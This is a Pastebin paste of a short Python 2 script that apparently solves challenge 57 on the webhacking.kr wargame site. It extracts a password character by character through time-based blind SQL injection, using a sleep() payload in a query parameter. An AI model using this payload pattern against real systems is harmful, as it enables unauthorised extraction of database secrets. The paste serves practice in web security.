hdarwin

webhacking.kr_57

Jan 5th, 2013
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.47 KB | None | 0 0
  1. import urllib2
  2. import time
  3.  
  4. session = ""
  5. url = "http://webhacking.kr/challenge/web/web-34/index.php"
  6. for y in xrange(1,15):
  7.     for x in xrange(0x20, 0x7e):
  8.         t = time.time()
  9.         query = "?msg=1&se=if(substr(pw,"+str(y)+",1)="+str(hex(x))+",sleep(2),1)"
  10.         req = urllib2.Request(url+query)
  11.         req.add_header("Cookie", "PHPSESSID="+session)
  12.         urllib2.urlopen(req)
  13.         if time.time() - t > 2:
  14.             print chr(x),
  15.         time.sleep(0.2)
Add Comment
Please, Sign In to add comment